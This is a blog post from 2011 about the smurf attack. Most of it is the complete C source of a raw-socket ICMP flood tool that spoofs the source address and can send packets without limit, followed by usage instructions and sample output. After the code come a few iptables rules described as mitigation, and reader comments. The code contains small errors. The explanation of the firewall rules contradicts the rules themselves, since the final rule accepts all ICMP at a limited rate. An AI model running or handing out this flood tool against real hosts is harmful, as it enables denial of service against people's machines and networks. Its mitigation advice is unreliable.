Smurf Attack with ICMP in C

On August 22, 2011, in Linux, Programming, Windows, by erik

No, this is not a gang of disgruntled smurfs attacking your base. A smurf attack is where a computer sends an ICMP Echo request to the broadcast IP address of your current network. In the 1990′s most computers would reply to the source IP of this broadcast. So essentially, to execute the smurf attack a user would spoof the IP address of the victim computer and thus all computers on the network would reply to that spoofed IP address and thus send a huge amount of traffic to that victim computer. Once Microsoft and Linux became aware of this exploit most Windows computers no longer will reply to an ICMP request that is destinated to the broadcast IP address for that network (which is a good thing). You can, however, still DoS a computer with ICMP Echo requests by sending a very large amount of traffic to the destination computer using a spoofed source IP address. This article will include a ICMP smurf attack program written in…you guessed it C! As well as ways to mitigate a DoS or Broadcast attack with IPtables.


ICMP Echo Request Code in C

The program I wrote takes three (3) command line arguments. The first is the source IP address to use, the second is the destination address, and the third argument is the number of packets to be sent. If you specify 0 packets it will send an infinite amount of packets. This program uses a raw socket to spoof the source IP address and therefore must be run as root.

Usage:

# ./icmp_flood 
 
Usage: ./icmp_flood <saddr> <daddr> <# packets>
        <saddr> = spoofed source address
        <daddr> = target IP address
        <# packets> = is the number of packets to send, 100 is the default, 0 = infinite

The code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <string.h>
#include <arpa/inet.h>
 
#define BUFFER_SIZE 400
#define PACKET_DELAY_USEC 30
#define DEF_NUM_PACKETS 100
 
char buf[BUFFER_SIZE];
 
char *usage = "\nUsage: ./icmp_flood <saddr> <daddr> <# packets>\n \
	<saddr> = spoofed source address\n \
	<daddr> = target IP address\n \
	<# packets> = is the number of packets to send, 100 is the default, 0 = infinite\n";
 
void set_ip_layer_fields(struct icmphdr *icmp, struct ip *ip)
{
    // IP Layer
    ip->ip_v = 4;
    ip->ip_hl = sizeof*ip >> 2;
    ip->ip_tos = 0;
    ip->ip_len = htons(sizeof(buf));
    ip->ip_id = htons(4321);
    ip->ip_off = htons(0);
    ip->ip_ttl = 255;
    ip->ip_p = 1;
    ip->ip_sum = 0; /* Let kernel fill in */
 
    // ICMP Layer
    icmp->type = ICMP_ECHO;
    icmp->code = 0;	
    icmp->checksum = htons(~(ICMP_ECHO << 8));	
}
 
void set_socket_options(int s)
{
    int on = 1;
 
    // Enable broadcast
    if(setsockopt(s, SOL_SOCKET, SO_BROADCAST, &on, sizeof(on)) < 0){
        perror("setsockopt() for BROADCAST error");
        exit(1);
    }
 
    // socket options, tell the kernel we provide the IP structure 
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
        perror("setsockopt() for IP_HDRINCL error");
        exit(1);
    }	
}
 
int main(int argc, char *argv[])
{
    int s, i;	
    struct ip *ip = (struct ip *)buf;
    struct icmphdr *icmp = (struct icmphdr *)(ip + 1);
    struct hostent *hp, *hp2;
    struct sockaddr_in dst;
    int offset;
    int num = DEF_NUM_PACKETS;
 
    if(argc < 3){
        fprintf(stdout, "%s\n",usage);
        exit(1);
    }
 
    // If enough arguments supplied 
    if(argc == 4)
        num = atoi(argv[3]);
 
    // Loop based on the packet number
    for(i = 1; num == 0 ? num == 0 : i <= num; i++){
        // Clear data paylod
        memset(buf, 0, sizeof(buf));
 
        // Create RAW socket 
        if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){
            perror("socket() error");
            exit(1);
        }
 
        set_socket_options(s);
 
        if((hp = gethostbyname(argv[2])) == NULL){
            if((ip->ip_dst.s_addr = inet_addr(argv[2])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host.\n", argv[2]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_dst.s_addr, hp->h_addr_list[0], hp->h_length);
 
        if((hp2 = gethostbyname(argv[1])) == NULL){
            if((ip->ip_src.s_addr = inet_addr(argv[1])) == -1){
                fprintf(stderr, "%s: Can't resolve, unknown host\n", argv[1]);
                exit(1);
            }
        }else
            memcpy(&ip->ip_src.s_addr, hp2->h_addr_list[0], hp->h_length);
 
        set_ip_layer_fields(icmp, ip);
 
        dst.sin_addr = ip->ip_dst;
        dst.sin_family = AF_INET;
 
        if(sendto(s, buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)) < 0){
            fprintf(stderr, "Error during packet send.\n");
            perror("sendto() error");
        }else
            printf("sendto() is OK.\n");
 
        close(s);
        usleep(PACKET_DELAY_USEC);
    }
    return 0;
}

Execution of the program:

# ./icmp_flood 1.2.3.4 10.3.4.123 3
sendto() is OK.
sendto() is OK.
sendto() is OK.

Voila. It is as easy as that. Notice that this is a raw socket, I had to use the setsockopt feature to permit the send to a broadcast address, as well as allowing the kernel to provide checksum data during send. Other than that it is merely setting the source and destination IP addresses accordingly. As well as setting the correct ICMP flags to indicate a ICMP request. If you remove the delay (or set it to 0), you will notice that the destination machine will stop sending echo reply’s as it is overwhelmed with the requests.

Protecting Against Smurf Attacks

There are various ways to protect against a smurf attack. In fact, the Windows network stack already ignores ICMP echo requests with a broadcast destination so you get that for free. The current Windows firewall blocks ICMP requests by default now. In Linux you can use IPtables to mitigate this attack with various rulesets for ICMP, for example:

iptables -A INPUT -p icmp -m icmp --icmp-type address-mask-request -j DROP
iptables -A INPUT -p icmp -m icmp --icmp-type timestamp-request -j DROP
iptables -A INPUT -p icmp -m icmp -m limit --limit 1/second -j ACCEPT

This example permits only specific ICMP types, none of which are Echo Reply or Echo Request. Only address masking or timestamp (so you can detect that the machine is still alive but drop basic pings), and even then this only allows a packet rate limit of 1 packet per second to the host machine. This avoids both a smurf attack as well as a DoS attack because of the rate limiting rule. Never bad to be cautious on a network.

3 Responses to Smurf Attack with ICMP in C

  1. Jan says:

    Hey,
    I compiled and ran your code. It does NOT spoof the source address. The kernel fixes the ip header. I am running linux 2.6.32.
    Cheers, Jan

    • erik says:

      Does this succeed:

      // socket options, tell the kernel we provide the IP structure
      if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0){
      perror(“setsockopt() for IP_HDRINCL error”);
      exit(1);
      }

  2. [...] crafting using the basic C functions, specifically using sendto() of a packet buffer in my article ICMP Smurf Attack as well as how to create a program for doing a TCP Syn Flood with a Raw Socket. There is however, a [...]

Leave a Reply

Your email address will not be published. Required fields are marked *


+ nine = 10

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>